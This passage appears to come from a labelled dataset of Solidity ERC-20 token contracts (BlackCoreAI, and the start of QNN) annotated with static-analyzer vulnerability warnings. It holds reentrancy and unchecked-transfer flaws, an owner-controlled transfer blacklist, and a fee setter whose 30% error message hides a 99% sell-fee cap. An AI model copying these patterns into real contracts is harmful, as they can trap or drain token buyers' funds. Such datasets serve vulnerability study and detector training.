(uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function per(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= 100, \"Percentage must be between 0 and 100\");\n\n return (a * b) / 100;\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-no-eth | ID: 177409d\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-no-eth | ID: 177409d\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: c98d4b6\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d54c339\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e5dffb3\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract BlackCoreAI is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 199c263): BlackCoreAI.deployerWallet should be immutable \n\t// Recommendation for 199c263: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployerWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 716bb84): BlackCoreAI.marketingWallet should be immutable \n\t// Recommendation for 716bb84: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n address private constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 168e1d4): BlackCoreAI._name shadows ERC20._name\n\t// Recommendation for 168e1d4: Remove the state variable shadowing.\n string private constant _name = \"BlackCore AI\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 66ed8e7): BlackCoreAI._symbol shadows ERC20._symbol\n\t// Recommendation for 66ed8e7: Remove the state variable shadowing.\n string private constant _symbol = \"BCAI\";\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (constable-states | ID: 249905b): BlackCoreAI.initialTotalSupply should be constant \n\t// Recommendation for 249905b: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 1000000 * 1e18;\n\n uint256 public maxTransactionAmount = 20000 * 1e18;\n\n uint256 public maxWallet = 20000 * 1e18;\n\n uint256 public swapTokensAtAmount = 20000 * 1e18;\n\n bool public tradingOpen = false;\n\n bool public swapEnabled = false;\n\n uint256 public BuyFee = 20;\n\n uint256 public SellFee = 30;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6e7139b): BlackCoreAI.constructor(address).wallet lacks a zerocheck on \t marketingWallet = address(wallet)\n\t// Recommendation for 6e7139b: Check that the address is not zero.\n constructor(address wallet) ERC20(_name, _symbol) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n\t\t// missing-zero-check | ID: 6e7139b\n marketingWallet = payable(wallet);\n\n excludeFromMaxTransaction(address(wallet), true);\n\n deployerWallet = payable(_msgSender());\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(wallet), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, initialTotalSupply);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e5dffb3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e5dffb3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c76a5a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c76a5a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d54c339): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d54c339: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e7aed8d): BlackCoreAI.openTrading() ignores return value by _uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)).per(80),0,0,owner(),block.timestamp)\n\t// Recommendation for e7aed8d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 21aea02): BlackCoreAI.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(_uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 21aea02: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bd48359): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bd48359: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n\t\t// reentrancy-events | ID: e5dffb3\n\t\t// reentrancy-benign | ID: c76a5a6\n\t\t// reentrancy-benign | ID: d54c339\n\t\t// reentrancy-eth | ID: bd48359\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n\t\t// reentrancy-benign | ID: d54c339\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n\t\t// reentrancy-events | ID: e5dffb3\n\t\t// reentrancy-benign | ID: d54c339\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n\t\t// reentrancy-events | ID: e5dffb3\n\t\t// reentrancy-benign | ID: d54c339\n _approve(address(this), address(_uniswapV2Router), initialTotalSupply);\n\n\t\t// reentrancy-benign | ID: c76a5a6\n\t\t// unused-return | ID: e7aed8d\n\t\t// reentrancy-eth | ID: bd48359\n _uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)).per(80),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c76a5a6\n\t\t// unused-return | ID: 21aea02\n\t\t// reentrancy-eth | ID: bd48359\n IERC20(uniswapV2Pair).approve(\n address(_uniswapV2Router),\n type(uint).max\n );\n\n\t\t// reentrancy-benign | ID: c76a5a6\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bd48359\n tradingOpen = true;\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n\t\t// reentrancy-benign | ID: d54c339\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n\t\t// reentrancy-benign | ID: d54c339\n automatedMarketMakerPairs[pair] = value;\n\n\t\t// reentrancy-events | ID: e5dffb3\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c98d4b6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c98d4b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 177409d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 177409d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n require(!bots[from] && !bots[to]);\n\n if (!tradingOpen) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > 0;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: c98d4b6\n\t\t\t// reentrancy-no-eth | ID: 177409d\n swapBack(amount);\n\n\t\t\t// reentrancy-no-eth | ID: 177409d\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(SellFee).div(100);\n } else {\n fees = amount.mul(BuyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: c98d4b6\n\t\t\t\t// reentrancy-no-eth | ID: 177409d\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: c98d4b6\n\t\t// reentrancy-no-eth | ID: 177409d\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c98d4b6\n\t\t// reentrancy-no-eth | ID: 177409d\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n uint256 totalSupplyAmount = totalSupply();\n\n maxTransactionAmount = totalSupplyAmount;\n\n maxWallet = totalSupplyAmount;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1a2334b): BlackCoreAI.cleartuckEths() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for 1a2334b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function cleartuckEths() external {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n require(_msgSender() == marketingWallet);\n\n\t\t// arbitrary-send-eth | ID: 1a2334b\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: b930115): BlackCoreAI.burnsRemainTokens(ERC20) ignores return value by tokenAddress.transfer(deadAddress,remainingTokens)\n\t// Recommendation for b930115: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function burnsRemainTokens(ERC20 tokenAddress) external {\n uint256 remainingTokens = tokenAddress.balanceOf(address(this));\n\n require(remainingTokens > 0, \"Token: no tokens to burn\");\n\n require(_msgSender() == marketingWallet);\n\n\t\t// unchecked-transfer | ID: b930115\n tokenAddress.transfer(deadAddress, remainingTokens);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 39cd1de): BlackCoreAI.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = _amount * (10 ** 18) \n\t// Recommendation for 39cd1de: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: 39cd1de\n swapTokensAtAmount = _amount * (10 ** 18);\n }\n\n function manualwap(uint256 percent) external {\n require(_msgSender() == marketingWallet);\n\n uint256 totalSupplyAmount = totalSupply();\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 requiredBalance = (totalSupplyAmount * percent) / 100;\n\n require(contractBalance >= requiredBalance, \"Not enough tokens\");\n\n swapTokensForEth(requiredBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 947f92a): BlackCoreAI.SetFee(uint256,uint256) should emit an event for BuyFee = _buyFee SellFee = _sellFee \n\t// Recommendation for 947f92a: Emit an event for critical parameter changes.\n function SetFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 30 && _sellFee <= 99, \"Fees cannot exceed 30%\");\n\n\t\t// events-maths | ID: 947f92a\n BuyFee = _buyFee;\n\n\t\t// events-maths | ID: 947f92a\n SellFee = _sellFee;\n }\n\n function swapBack(uint256 tokens) private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (contractBalance == 0) {\n return;\n } else if (\n contractBalance > 0 && contractBalance < swapTokensAtAmount\n ) {\n tokensToSwap = contractBalance;\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n\n swapTokensForEth(tokensToSwap);\n }\n}\n",
"file_name": "solidity_code_10008.sol",
"size_bytes": 31405,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract QNN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _doExcludedFromFees;\n\n mapping(address => bool) private _doExcemptFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7943410): QNN._bots is never initialized. It is used in QNN._transfer(address,address,uint256)\n\t// Recommendation for 7943410: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5418fe8): QNN._qqWallets should be immutable \n\t// Recommendation for 5418fe8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _qqWallets;\n\n address private qqSendors;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"qnn\";\n\n string private constant _symbol = unicode\"QNN\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33dfabd): QNN._minTaxSwap should be constant \n\t// Recommendation for 33dfabd: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 66cff5e): QNN._maxTaxSwap should be constant \n\t// Recommendation for 66cff5e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e17946): QNN._initialBuyTax should be constant \n\t// Recommendation for 4e17946: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe04e8c): QNN._initialSellTax should be constant \n\t// Recommendation for fe04e8c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4774413): QNN._finalBuyTax should be constant \n\t// Recommendation for 4774413: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e0a679): QNN._finalSellTax should be constant \n\t// Recommendation for 4e0a679: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3e5a1e5): QNN._reduceBuyAt should be constant \n\t// Recommendation for 3e5a1e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ea1a37): QNN._reduceSellAt should be constant \n\t// Recommendation for 7ea1a37: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d756f0): QNN._preventCount should be constant \n\t// Recommendation for 0d756f0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 15;\n\n uint256 private _buyCount = 0;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n qqSendors = _msgSender();\n\n _qqWallets = payable(0xf1FBC2eB5ea738aC5B591E9918Bde33d3b1D604E);\n\n _doExcemptFees[owner()] = true;\n\n _doExcemptFees[_qqWallets] = true;\n\n _doExcludedFromFees[owner()] = true;\n\n _doExcludedFromFees[address(this)] = true;\n\n _doExcludedFromFees[_qqWallets] = true;\n\n _tOwned[address(this)] = _tTotal;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f74bd00): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f74bd00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3631cfc): QNN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3631cfc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability 